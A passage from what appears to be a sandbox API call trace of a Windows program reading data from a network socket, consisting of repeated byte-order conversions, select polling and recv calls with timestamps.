(hostshort=0x0) returned 0x0 [0119.276] htons (hostshort=0x3393) returned 0x9333 [0119.276] htons (hostshort=0xf201) returned 0x1f2 [0119.276] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.276] htons (hostshort=0x0) returned 0x0 [0119.276] htons (hostshort=0x3393) returned 0x9333 [0119.276] htons (hostshort=0xf201) returned 0x1f2 [0119.276] htons (hostshort=0x0) returned 0x0 [0119.276] htons (hostshort=0x3393) returned 0x9333 [0119.276] htons (hostshort=0xf201) returned 0x1f2 [0119.276] htons (hostshort=0x0) returned 0x0 [0119.276] htons (hostshort=0x9333) returned 0x3393 [0119.276] htons (hostshort=0x1f2) returned 0xf201 [0119.276] htons (hostshort=0x0) returned 0x0 [0119.276] htons (hostshort=0x3393) returned 0x9333 [0119.276] htons (hostshort=0xf201) returned 0x1f2 [0119.276] htons (hostshort=0x0) returned 0x0 [0119.276] htons (hostshort=0x3393) returned 0x9333 [0119.276] htons (hostshort=0xf201) returned 0x1f2 [0119.276] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.276] htons (hostshort=0x0) returned 0x0 [0119.276] htons (hostshort=0x3393) returned 0x9333 [0119.276] htons (hostshort=0xf201) returned 0x1f2 [0119.277] htons (hostshort=0x0) returned 0x0 [0119.277] htons (hostshort=0x3393) returned 0x9333 [0119.277] htons (hostshort=0xf201) returned 0x1f2 [0119.277] htons (hostshort=0x0) returned 0x0 [0119.277] htons (hostshort=0x9333) returned 0x3393 [0119.277] htons (hostshort=0x1f2) returned 0xf201 [0119.277] htons (hostshort=0x0) returned 0x0 [0119.277] htons (hostshort=0x3393) returned 0x9333 [0119.277] htons (hostshort=0xf201) returned 0x1f2 [0119.277] htons (hostshort=0x0) returned 0x0 [0119.277] htons (hostshort=0x3393) returned 0x9333 [0119.277] htons (hostshort=0xf201) returned 0x1f2 [0119.277] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.277] htons (hostshort=0x0) returned 0x0 [0119.277] htons (hostshort=0x3393) returned 0x9333 [0119.277] htons (hostshort=0xf201) returned 0x1f2 [0119.277] htons (hostshort=0x0) returned 0x0 [0119.277] htons (hostshort=0x3393) returned 0x9333 [0119.277] htons (hostshort=0xf201) returned 0x1f2 [0119.277] htons (hostshort=0x0) returned 0x0 [0119.277] htons (hostshort=0x9333) returned 0x3393 [0119.277] htons (hostshort=0x1f2) returned 0xf201 [0119.277] htons (hostshort=0x0) returned 0x0 [0119.277] htons (hostshort=0x3393) returned 0x9333 [0119.277] htons (hostshort=0xf201) returned 0x1f2 [0119.277] htons (hostshort=0x0) returned 0x0 [0119.277] htons (hostshort=0x3393) returned 0x9333 [0119.277] htons (hostshort=0xf201) returned 0x1f2 [0119.277] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.277] htons (hostshort=0x0) returned 0x0 [0119.277] htons (hostshort=0x3393) returned 0x9333 [0119.277] htons (hostshort=0xf201) returned 0x1f2 [0119.277] htons (hostshort=0x0) returned 0x0 [0119.277] htons (hostshort=0x3393) returned 0x9333 [0119.277] htons (hostshort=0xf201) returned 0x1f2 [0119.277] htons (hostshort=0x0) returned 0x0 [0119.277] htons (hostshort=0x9333) returned 0x3393 [0119.277] htons (hostshort=0x1f2) returned 0xf201 [0119.278] htons (hostshort=0x0) returned 0x0 [0119.278] htons (hostshort=0x3393) returned 0x9333 [0119.278] htons (hostshort=0xf201) returned 0x1f2 [0119.278] htons (hostshort=0x0) returned 0x0 [0119.278] htons (hostshort=0x3393) returned 0x9333 [0119.278] htons (hostshort=0xf201) returned 0x1f2 [0119.278] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.278] htons (hostshort=0x0) returned 0x0 [0119.278] htons (hostshort=0x3393) returned 0x9333 [0119.278] htons (hostshort=0xf201) returned 0x1f2 [0119.278] htons (hostshort=0x0) returned 0x0 [0119.278] htons (hostshort=0x3393) returned 0x9333 [0119.278] htons (hostshort=0xf201) returned 0x1f2 [0119.278] htons (hostshort=0x0) returned 0x0 [0119.278] htons (hostshort=0x9333) returned 0x3393 [0119.278] htons (hostshort=0x1f2) returned 0xf201 [0119.278] htons (hostshort=0x0) returned 0x0 [0119.278] htons (hostshort=0x3393) returned 0x9333 [0119.278] htons (hostshort=0xf201) returned 0x1f2 [0119.278] htons (hostshort=0x0) returned 0x0 [0119.278] htons (hostshort=0x3393) returned 0x9333 [0119.278] htons (hostshort=0xf201) returned 0x1f2 [0119.278] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.278] htons (hostshort=0x0) returned 0x0 [0119.278] htons (hostshort=0x3393) returned 0x9333 [0119.278] htons (hostshort=0xf201) returned 0x1f2 [0119.278] htons (hostshort=0x0) returned 0x0 [0119.278] htons (hostshort=0x3393) returned 0x9333 [0119.278] htons (hostshort=0xf201) returned 0x1f2 [0119.278] htons (hostshort=0x0) returned 0x0 [0119.278] htons (hostshort=0x9333) returned 0x3393 [0119.278] htons (hostshort=0x1f2) returned 0xf201 [0119.278] htons (hostshort=0x0) returned 0x0 [0119.278] htons (hostshort=0x3393) returned 0x9333 [0119.278] htons (hostshort=0xf201) returned 0x1f2 [0119.278] htons (hostshort=0x0) returned 0x0 [0119.278] htons (hostshort=0x3393) returned 0x9333 [0119.278] htons (hostshort=0xf201) returned 0x1f2 [0119.278] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.278] rand () returned 491 [0119.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3d9bd730, dwHighDateTime=0x1d31ac1)) [0119.278] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.278] GetCurrentThreadId () returned 0x918 [0119.278] WSASetLastError (iError=0) [0119.278] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.278] SetLastError (dwErrCode=0x0) [0119.278] WSASetLastError (iError=0) [0119.279] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.279] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.279] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.279] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.279] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.279] htons (hostshort=0x0) returned 0x0 [0119.279] htons (hostshort=0x3393) returned 0x9333 [0119.279] htons (hostshort=0xf201) returned 0x1f2 [0119.279] htons (hostshort=0x0) returned 0x0 [0119.279] htons (hostshort=0x3393) returned 0x9333 [0119.279] htons (hostshort=0xf201) returned 0x1f2 [0119.279] htons (hostshort=0x0) returned 0x0 [0119.279] htons (hostshort=0x9333) returned 0x3393 [0119.279] htons (hostshort=0x1f2) returned 0xf201 [0119.279] htons (hostshort=0x0) returned 0x0 [0119.279] htons (hostshort=0x3393) returned 0x9333 [0119.279] htons (hostshort=0xf201) returned 0x1f2 [0119.279] htons (hostshort=0x0) returned 0x0 [0119.279] htons (hostshort=0x3393) returned 0x9333 [0119.279] htons (hostshort=0xf201) returned 0x1f2 [0119.279] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.279] htons (hostshort=0x0) returned 0x0 [0119.279] htons (hostshort=0x3393) returned 0x9333 [0119.279] htons (hostshort=0xf201) returned 0x1f2 [0119.279] htons (hostshort=0x0) returned 0x0 [0119.279] htons (hostshort=0x3393) returned 0x9333 [0119.279] htons (hostshort=0xf201) returned 0x1f2 [0119.279] htons (hostshort=0x0) returned 0x0 [0119.279] htons (hostshort=0x9333) returned 0x3393 [0119.279] htons (hostshort=0x1f2) returned 0xf201 [0119.279] htons (hostshort=0x0) returned 0x0 [0119.279] htons (hostshort=0x3393) returned 0x9333 [0119.279] htons (hostshort=0xf201) returned 0x1f2 [0119.279] htons (hostshort=0x0) returned 0x0 [0119.279] htons (hostshort=0x3393) returned 0x9333 [0119.279] htons (hostshort=0xf201) returned 0x1f2 [0119.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36ea80 | out: lpSystemTimeAsFileTime=0x36ea80*(dwLowDateTime=0x3d9bd730, dwHighDateTime=0x1d31ac1)) [0119.280] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.280] htons (hostshort=0x0) returned 0x0 [0119.280] htons (hostshort=0x3393) returned 0x9333 [0119.280] htons (hostshort=0xf201) returned 0x1f2 [0119.280] htons (hostshort=0x0) returned 0x0 [0119.280] htons (hostshort=0x3393) returned 0x9333 [0119.280] htons (hostshort=0xf201) returned 0x1f2 [0119.280] htons (hostshort=0x0) returned 0x0 [0119.280] htons (hostshort=0x9333) returned 0x3393 [0119.280] htons (hostshort=0x1f2) returned 0xf201 [0119.280] htons (hostshort=0x0) returned 0x0 [0119.280] htons (hostshort=0x3393) returned 0x9333 [0119.280] htons (hostshort=0xf201) returned 0x1f2 [0119.280] htons (hostshort=0x0) returned 0x0 [0119.280] htons (hostshort=0x3393) returned 0x9333 [0119.280] htons (hostshort=0xf201) returned 0x1f2 [0119.280] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.280] htons (hostshort=0x0) returned 0x0 [0119.280] htons (hostshort=0x3393) returned 0x9333 [0119.280] htons (hostshort=0xf201) returned 0x1f2 [0119.280] htons (hostshort=0x0) returned 0x0 [0119.280] htons (hostshort=0x3393) returned 0x9333 [0119.280] htons (hostshort=0xf201) returned 0x1f2 [0119.280] htons (hostshort=0x0) returned 0x0 [0119.280] htons (hostshort=0x9333) returned 0x3393 [0119.280] htons (hostshort=0x1f2) returned 0xf201 [0119.280] htons (hostshort=0x0) returned 0x0 [0119.280] htons (hostshort=0x3393) returned 0x9333 [0119.280] htons (hostshort=0xf201) returned 0x1f2 [0119.280] htons (hostshort=0x0) returned 0x0 [0119.280] htons (hostshort=0x3393) returned 0x9333 [0119.280] htons (hostshort=0xf201) returned 0x1f2 [0119.280] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.280] htons (hostshort=0x0) returned 0x0 [0119.280] htons (hostshort=0x3393) returned 0x9333 [0119.280] htons (hostshort=0xf201) returned 0x1f2 [0119.280] htons (hostshort=0x0) returned 0x0 [0119.280] htons (hostshort=0x3393) returned 0x9333 [0119.280] htons (hostshort=0xf201) returned 0x1f2 [0119.280] htons (hostshort=0x0) returned 0x0 [0119.280] htons (hostshort=0x9333) returned 0x3393 [0119.280] htons (hostshort=0x1f2) returned 0xf201 [0119.280] htons (hostshort=0x0) returned 0x0 [0119.280] htons (hostshort=0x3393) returned 0x9333 [0119.280] htons (hostshort=0xf201) returned 0x1f2 [0119.280] htons (hostshort=0x0) returned 0x0 [0119.280] htons (hostshort=0x3393) returned 0x9333 [0119.280] htons (hostshort=0xf201) returned 0x1f2 [0119.281] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.281] htons (hostshort=0x0) returned 0x0 [0119.281] htons (hostshort=0x3393) returned 0x9333 [0119.281] htons (hostshort=0xf201) returned 0x1f2 [0119.281] htons (hostshort=0x0) returned 0x0 [0119.281] htons (hostshort=0x3393) returned 0x9333 [0119.281] htons (hostshort=0xf201) returned 0x1f2 [0119.281] htons (hostshort=0x0) returned 0x0 [0119.281] htons (hostshort=0x9333) returned 0x3393 [0119.281] htons (hostshort=0x1f2) returned 0xf201 [0119.281] htons (hostshort=0x0) returned 0x0 [0119.281] htons (hostshort=0x3393) returned 0x9333 [0119.281] htons (hostshort=0xf201) returned 0x1f2 [0119.281] htons (hostshort=0x0) returned 0x0 [0119.281] htons (hostshort=0x3393) returned 0x9333 [0119.281] htons (hostshort=0xf201) returned 0x1f2 [0119.281] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.281] htons (hostshort=0x0) returned 0x0 [0119.281] htons (hostshort=0x3393) returned 0x9333 [0119.281] htons (hostshort=0xf201) returned 0x1f2 [0119.281] htons (hostshort=0x0) returned 0x0 [0119.281] htons (hostshort=0x3393) returned 0x9333 [0119.281] htons (hostshort=0xf201) returned 0x1f2 [0119.281] htons (hostshort=0x0) returned 0x0 [0119.281] htons (hostshort=0x9333) returned 0x3393 [0119.281] htons (hostshort=0x1f2) returned 0xf201 [0119.281] htons (hostshort=0x0) returned 0x0 [0119.281] htons (hostshort=0x3393) returned 0x9333 [0119.281] htons (hostshort=0xf201) returned 0x1f2 [0119.281] htons (hostshort=0x0) returned 0x0 [0119.281] htons (hostshort=0x3393) returned 0x9333 [0119.281] htons (hostshort=0xf201) returned 0x1f2 [0119.281] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.281] htons (hostshort=0x0) returned 0x0 [0119.281] htons (hostshort=0x3393) returned 0x9333 [0119.281] htons (hostshort=0xf201) returned 0x1f2 [0119.281] htons (hostshort=0x0) returned 0x0 [0119.281] htons (hostshort=0x3393) returned 0x9333 [0119.281] htons (hostshort=0xf201) returned 0x1f2 [0119.281] htons (hostshort=0x0) returned 0x0 [0119.281] htons (hostshort=0x9333) returned 0x3393 [0119.281] htons (hostshort=0x1f2) returned 0xf201 [0119.281] htons (hostshort=0x0) returned 0x0 [0119.281] htons (hostshort=0x3393) returned 0x9333 [0119.281] htons (hostshort=0xf201) returned 0x1f2 [0119.281] htons (hostshort=0x0) returned 0x0 [0119.281] htons (hostshort=0x3393) returned 0x9333 [0119.281] htons (hostshort=0xf201) returned 0x1f2 [0119.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5f8 | out: lpSystemTimeAsFileTime=0x36f5f8*(dwLowDateTime=0x3d9bd730, dwHighDateTime=0x1d31ac1)) [0119.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f658 | out: lpSystemTimeAsFileTime=0x36f658*(dwLowDateTime=0x3d9bd730, dwHighDateTime=0x1d31ac1)) [0119.282] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.282] rand () returned 2995 [0119.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3d9bd730, dwHighDateTime=0x1d31ac1)) [0119.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36e3d0 | out: lpSystemTimeAsFileTime=0x36e3d0*(dwLowDateTime=0x3d9bd730, dwHighDateTime=0x1d31ac1)) [0119.282] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.282] GetCurrentThreadId () returned 0x918 [0119.282] WSASetLastError (iError=0) [0119.282] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.282] SetLastError (dwErrCode=0x0) [0119.282] WSASetLastError (iError=0) [0119.282] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.282] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.282] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.282] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.282] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.282] htons (hostshort=0x0) returned 0x0 [0119.282] htons (hostshort=0x3393) returned 0x9333 [0119.282] htons (hostshort=0xf201) returned 0x1f2 [0119.282] htons (hostshort=0x0) returned 0x0 [0119.282] htons (hostshort=0x3393) returned 0x9333 [0119.282] htons (hostshort=0xf201) returned 0x1f2 [0119.282] htons (hostshort=0x0) returned 0x0 [0119.282] htons (hostshort=0x9333) returned 0x3393 [0119.282] htons (hostshort=0x1f2) returned 0xf201 [0119.282] htons (hostshort=0x0) returned 0x0 [0119.282] htons (hostshort=0x3393) returned 0x9333 [0119.282] htons (hostshort=0xf201) returned 0x1f2 [0119.282] htons (hostshort=0x0) returned 0x0 [0119.282] htons (hostshort=0x3393) returned 0x9333 [0119.282] htons (hostshort=0xf201) returned 0x1f2 [0119.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36ea80 | out: lpSystemTimeAsFileTime=0x36ea80*(dwLowDateTime=0x3d9bd730, dwHighDateTime=0x1d31ac1)) [0119.282] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.282] htons (hostshort=0x0) returned 0x0 [0119.282] htons (hostshort=0x3393) returned 0x9333 [0119.282] htons (hostshort=0xf201) returned 0x1f2 [0119.282] htons (hostshort=0x0) returned 0x0 [0119.282] htons (hostshort=0x3393) returned 0x9333 [0119.283] htons (hostshort=0xf201) returned 0x1f2 [0119.283] htons (hostshort=0x0) returned 0x0 [0119.283] htons (hostshort=0x9333) returned 0x3393 [0119.283] htons (hostshort=0x1f2) returned 0xf201 [0119.283] htons (hostshort=0x0) returned 0x0 [0119.283] htons (hostshort=0x3393) returned 0x9333 [0119.283] htons (hostshort=0xf201) returned 0x1f2 [0119.283] htons (hostshort=0x0) returned 0x0 [0119.283] htons (hostshort=0x3393) returned 0x9333 [0119.283] htons (hostshort=0xf201) returned 0x1f2 [0119.283] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.283] htons (hostshort=0x0) returned 0x0 [0119.283] htons (hostshort=0x3393) returned 0x9333 [0119.283] htons (hostshort=0xf201) returned 0x1f2 [0119.283] htons (hostshort=0x0) returned 0x0 [0119.283] htons (hostshort=0x3393) returned 0x9333 [0119.283] htons (hostshort=0xf201) returned 0x1f2 [0119.283] htons (hostshort=0x0) returned 0x0 [0119.283] htons (hostshort=0x9333) returned 0x3393 [0119.283] htons (hostshort=0x1f2) returned 0xf201 [0119.283] htons (hostshort=0x0) returned 0x0 [0119.283] htons (hostshort=0x3393) returned 0x9333 [0119.283] htons (hostshort=0xf201) returned 0x1f2 [0119.283] htons (hostshort=0x0) returned 0x0 [0119.283] htons (hostshort=0x3393) returned 0x9333 [0119.283] htons (hostshort=0xf201) returned 0x1f2 [0119.283] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.283] htons (hostshort=0x0) returned 0x0 [0119.283] htons (hostshort=0x3393) returned 0x9333 [0119.283] htons (hostshort=0xf201) returned 0x1f2 [0119.283] htons (hostshort=0x0) returned 0x0 [0119.283] htons (hostshort=0x3393) returned 0x9333 [0119.283] htons (hostshort=0xf201) returned 0x1f2 [0119.283] htons (hostshort=0x0) returned 0x0 [0119.283] htons (hostshort=0x9333) returned 0x3393 [0119.283] htons (hostshort=0x1f2) returned 0xf201 [0119.283] htons (hostshort=0x0) returned 0x0 [0119.283] htons (hostshort=0x3393) returned 0x9333 [0119.283] htons (hostshort=0xf201) returned 0x1f2 [0119.283] htons (hostshort=0x0) returned 0x0 [0119.283] htons (hostshort=0x3393) returned 0x9333 [0119.283] htons (hostshort=0xf201) returned 0x1f2 [0119.283] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.283] htons (hostshort=0x0) returned 0x0 [0119.283] htons (hostshort=0x3393) returned 0x9333 [0119.283] htons (hostshort=0xf201) returned 0x1f2 [0119.283] htons (hostshort=0x0) returned 0x0 [0119.283] htons (hostshort=0x3393) returned 0x9333 [0119.284] htons (hostshort=0xf201) returned 0x1f2 [0119.284] htons (hostshort=0x0) returned 0x0 [0119.284] htons (hostshort=0x9333) returned 0x3393 [0119.284] htons (hostshort=0x1f2) returned 0xf201 [0119.284] htons (hostshort=0x0) returned 0x0 [0119.284] htons (hostshort=0x3393) returned 0x9333 [0119.284] htons (hostshort=0xf201) returned 0x1f2 [0119.284] htons (hostshort=0x0) returned 0x0 [0119.284] htons (hostshort=0x3393) returned 0x9333 [0119.284] htons (hostshort=0xf201) returned 0x1f2 [0119.284] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.284] htons (hostshort=0x0) returned 0x0 [0119.284] htons (hostshort=0x3393) returned 0x9333 [0119.284] htons (hostshort=0xf201) returned 0x1f2 [0119.284] htons (hostshort=0x0) returned 0x0 [0119.284] htons (hostshort=0x3393) returned 0x9333 [0119.284] htons (hostshort=0xf201) returned 0x1f2 [0119.284] htons (hostshort=0x0) returned 0x0 [0119.284] htons (hostshort=0x9333) returned 0x3393 [0119.284] htons (hostshort=0x1f2) returned 0xf201 [0119.284] htons (hostshort=0x0) returned 0x0 [0119.284] htons (hostshort=0x3393) returned 0x9333 [0119.284] htons (hostshort=0xf201) returned 0x1f2 [0119.284] htons (hostshort=0x0) returned 0x0 [0119.284] htons (hostshort=0x3393) returned 0x9333 [0119.284] htons (hostshort=0xf201) returned 0x1f2 [0119.284] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.284] htons (hostshort=0x0) returned 0x0 [0119.284] htons (hostshort=0x3393) returned 0x9333 [0119.284] htons (hostshort=0xf201) returned 0x1f2 [0119.284] htons (hostshort=0x0) returned 0x0 [0119.284] htons (hostshort=0x3393) returned 0x9333 [0119.284] htons (hostshort=0xf201) returned 0x1f2 [0119.284] htons (hostshort=0x0) returned 0x0 [0119.284] htons (hostshort=0x9333) returned 0x3393 [0119.284] htons (hostshort=0x1f2) returned 0xf201 [0119.284] htons (hostshort=0x0) returned 0x0 [0119.284] htons (hostshort=0x3393) returned 0x9333 [0119.284] htons (hostshort=0xf201) returned 0x1f2 [0119.284] htons (hostshort=0x0) returned 0x0 [0119.284] htons (hostshort=0x3393) returned 0x9333 [0119.284] htons (hostshort=0xf201) returned 0x1f2 [0119.284] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.284] htons (hostshort=0x0) returned 0x0 [0119.284] htons (hostshort=0x3393) returned 0x9333 [0119.284] htons (hostshort=0xf201) returned 0x1f2 [0119.284] htons (hostshort=0x0) returned 0x0 [0119.284] htons (hostshort=0x3393) returned 0x9333 [0119.285] htons (hostshort=0xf201) returned 0x1f2 [0119.285] htons (hostshort=0x0) returned 0x0 [0119.285] htons (hostshort=0x9333) returned 0x3393 [0119.285] htons (hostshort=0x1f2) returned 0xf201 [0119.285] htons (hostshort=0x0) returned 0x0 [0119.285] htons (hostshort=0x3393) returned 0x9333 [0119.285] htons (hostshort=0xf201) returned 0x1f2 [0119.285] htons (hostshort=0x0) returned 0x0 [0119.285] htons (hostshort=0x3393) returned 0x9333 [0119.285] htons (hostshort=0xf201) returned 0x1f2 [0119.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5f8 | out: lpSystemTimeAsFileTime=0x36f5f8*(dwLowDateTime=0x3d9bd730, dwHighDateTime=0x1d31ac1)) [0119.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f658 | out: lpSystemTimeAsFileTime=0x36f658*(dwLowDateTime=0x3d9bd730, dwHighDateTime=0x1d31ac1)) [0119.285] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.285] rand () returned 11942 [0119.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3d9bd730, dwHighDateTime=0x1d31ac1)) [0119.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36e3d0 | out: lpSystemTimeAsFileTime=0x36e3d0*(dwLowDateTime=0x3d9bd730, dwHighDateTime=0x1d31ac1)) [0119.285] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.285] GetCurrentThreadId () returned 0x918 [0119.285] WSASetLastError (iError=0) [0119.285] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.285] SetLastError (dwErrCode=0x0) [0119.285] WSASetLastError (iError=0) [0119.285] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 553 [0119.285] SetLastError (dwErrCode=0x0) [0119.285] WSASetLastError (iError=0) [0119.285] recv (in: s=0x1d4, buf=0x865891, len=3519, flags=0 | out: buf=0x865891) returned -1 [0119.285] WSAGetLastError () returned 10035 [0119.285] GetCurrentThreadId () returned 0x918 [0119.285] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.285] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.285] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5f8 | out: lpSystemTimeAsFileTime=0x36f5f8*(dwLowDateTime=0x3d9e3890, dwHighDateTime=0x1d31ac1)) [0119.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5f8 | out: lpSystemTimeAsFileTime=0x36f5f8*(dwLowDateTime=0x3d9e3890, dwHighDateTime=0x1d31ac1)) [0119.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f658 | out: lpSystemTimeAsFileTime=0x36f658*(dwLowDateTime=0x3d9e3890, dwHighDateTime=0x1d31ac1)) [0119.285] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0119.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3da099f0, dwHighDateTime=0x1d31ac1)) [0119.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5d0 | out: lpSystemTimeAsFileTime=0x36f5d0*(dwLowDateTime=0x3da099f0, dwHighDateTime=0x1d31ac1)) [0119.301] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.333] rand () returned 4827 [0119.333] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3da55cb0, dwHighDateTime=0x1d31ac1)) [0119.333] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.333] GetCurrentThreadId () returned 0x918 [0119.333] WSASetLastError (iError=0) [0119.333] recv (in: s=0x1d4, buf=0x865891, len=3519, flags=0 | out: buf=0x865891*) returned 3519 [0119.333] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.334] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.334] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.334] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.334] htons (hostshort=0x0) returned 0x0 [0119.334] htons (hostshort=0x3393) returned 0x9333 [0119.334] htons (hostshort=0xf201) returned 0x1f2 [0119.334] htons (hostshort=0x0) returned 0x0 [0119.334] htons (hostshort=0x3393) returned 0x9333 [0119.334] htons (hostshort=0xf201) returned 0x1f2 [0119.334] htons (hostshort=0x0) returned 0x0 [0119.334] htons (hostshort=0x9333) returned 0x3393 [0119.334] htons (hostshort=0x1f2) returned 0xf201 [0119.334] htons (hostshort=0x0) returned 0x0 [0119.334] htons (hostshort=0x3393) returned 0x9333 [0119.334] htons (hostshort=0xf201) returned 0x1f2 [0119.334] htons (hostshort=0x0) returned 0x0 [0119.334] htons (hostshort=0x3393) returned 0x9333 [0119.334] htons (hostshort=0xf201) returned 0x1f2 [0119.334] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.334] htons (hostshort=0x0) returned 0x0 [0119.334] htons (hostshort=0x3393) returned 0x9333 [0119.334] htons (hostshort=0xf201) returned 0x1f2 [0119.334] htons (hostshort=0x0) returned 0x0 [0119.334] htons (hostshort=0x3393) returned 0x9333 [0119.334] htons (hostshort=0xf201) returned 0x1f2 [0119.334] htons (hostshort=0x0) returned 0x0 [0119.334] htons (hostshort=0x9333) returned 0x3393 [0119.334] htons (hostshort=0x1f2) returned 0xf201 [0119.334] htons (hostshort=0x0) returned 0x0 [0119.334] htons (hostshort=0x3393) returned 0x9333 [0119.334] htons (hostshort=0xf201) returned 0x1f2 [0119.334] htons (hostshort=0x0) returned 0x0 [0119.334] htons (hostshort=0x3393) returned 0x9333 [0119.334] htons (hostshort=0xf201) returned 0x1f2 [0119.334] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.335] htons (hostshort=0x0) returned 0x0 [0119.335] htons (hostshort=0x3393) returned 0x9333 [0119.335] htons (hostshort=0xf201) returned 0x1f2 [0119.335] htons (hostshort=0x0) returned 0x0 [0119.335] htons (hostshort=0x3393) returned 0x9333 [0119.335] htons (hostshort=0xf201) returned 0x1f2 [0119.335] htons (hostshort=0x0) returned 0x0 [0119.335] htons (hostshort=0x9333) returned 0x3393 [0119.335] htons (hostshort=0x1f2) returned 0xf201 [0119.335] htons (hostshort=0x0) returned 0x0 [0119.335] htons (hostshort=0x3393) returned 0x9333 [0119.335] htons (hostshort=0xf201) returned 0x1f2 [0119.335] htons (hostshort=0x0) returned 0x0 [0119.335] htons (hostshort=0x3393) returned 0x9333 [0119.335] htons (hostshort=0xf201) returned 0x1f2 [0119.335] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.335] htons (hostshort=0x0) returned 0x0 [0119.335] htons (hostshort=0x3393) returned 0x9333 [0119.335] htons (hostshort=0xf201) returned 0x1f2 [0119.335] htons (hostshort=0x0) returned 0x0 [0119.335] htons (hostshort=0x3393) returned 0x9333 [0119.335] htons (hostshort=0xf201) returned 0x1f2 [0119.335] htons (hostshort=0x0) returned 0x0 [0119.335] htons (hostshort=0x9333) returned 0x3393 [0119.335] htons (hostshort=0x1f2) returned 0xf201 [0119.335] htons 